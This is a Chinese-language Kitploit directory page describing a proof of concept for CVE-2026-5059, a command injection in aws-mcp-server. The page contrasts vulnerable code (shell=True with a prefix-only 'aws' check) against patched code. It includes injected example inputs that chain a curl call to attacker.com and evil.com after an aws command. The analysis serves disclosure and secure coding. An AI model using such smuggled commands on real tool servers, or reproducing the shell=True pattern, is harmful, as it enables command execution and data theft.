Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-5059-poc — CVE-2026-5059 的概念验证,该漏洞是 aws-mcp-server 中通过 shell=True 和验证不完整导致的命令注入,包含易受攻击代码与已修补代码的分析。 | Kitploit
工具/GitHubGitHub/pwn0x000/cve-2026-5059-poc
漏洞分析漏洞利用渗透测试命令与控制
GitHubpwn0x000/cve-2026-5059-poc

CVE-2026-5059-poc

CVE-2026-5059 的概念验证,该漏洞是 aws-mcp-server 中通过 shell=True 和验证不完整导致的命令注入,包含易受攻击代码与已修补代码的分析。

查看仓库
5个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-5059 在代码中的位置在哪里? 该漏洞存在于两个协同工作的文件中:

文件 1:tools.py —— 根本原因 旧版本在 execute_piped_command() 中使用了 shell=True: python# OLD VULNERABLE CODE process = subprocess.run( command, # ← raw string passed to shell shell=True, # ← THIS is the problem ... ) 当 shell=True 时,操作系统 shell 会解释整个字符串,包括 ;、&&、||、反引号——因此 ; 之后的任何内容都会作为单独的命令运行。

文件 2:security.py —— 不完整的防护 验证器只检查命令是否以 aws 开头: python# OLD VULNERABLE CODE def validate_pipe_command(command: str): if not command.strip().startswith("aws"): raise ValueError("Must start with aws") # ← stops here, no check on what comes after the pipe 因此 aws s3 ls ; curl http://attacker.com 通过了验证——它以 aws 开头——然后 shell=True 执行了两部分。

为什么当前版本(v1.7.0)不同 查看今天的实际代码,这两个问题都已消失: python# CURRENT CODE in cli_executor.py cmd_parts = shlex.split(command) # splits into a list subprocess.run(cmd_parts, shell=False) # list-based, no shell interpretation 而 security.py 已被完全删除——由操作系统沙箱(Landlock/bwrap/Seatbelt)取代。 ; 现在无害了: "aws s3 ls ; curl http://evil.com" → shlex.split → ['aws', 's3', 'ls', ';', 'curl', 'http://evil.com'] → subprocess gets ';' as a literal argument to aws → AWS CLI ignores it, no second command runs

一行总结 易受攻击版本当前 v1.7.0执行shell=True + 字符串shell=False + 列表验证仅 startswith("aws")操作系统级沙箱;处理由 shell 执行被视为字面文本 该 CVE 是针对旧版本提交的。ZDI 将其作为 0-day 发布,因为供应商拒绝了该报告——但在 CVE 发布之前,架构已经不再使用 shell=True。

下载工具